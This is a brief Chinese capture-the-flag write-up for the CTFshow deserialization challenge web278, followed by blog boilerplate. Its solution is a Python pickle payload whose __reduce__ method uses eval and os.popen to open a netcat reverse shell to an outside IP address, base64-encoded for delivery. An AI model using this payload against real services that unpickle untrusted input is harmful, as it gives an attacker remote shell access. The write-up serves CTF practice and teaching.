目錄

• 思路
• 題解
• 總結(jié)

---

思路

題目提示了過濾了os.system,那么我們把system改成popen().read()

題解

import base64 import pickleclass shell(object):def __reduce__(self):return (eval, ("__import__('os').popen('nc 119.91.26.229 9999 -e /bin/sh').read()",))k = shell() print(base64.b64encode(pickle.dumps(k)))

---

總結(jié)

水題

總結(jié)

以上是生活随笔為你收集整理的CTFshow 反序列化 web278的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯，歡迎將生活随笔推薦給好友。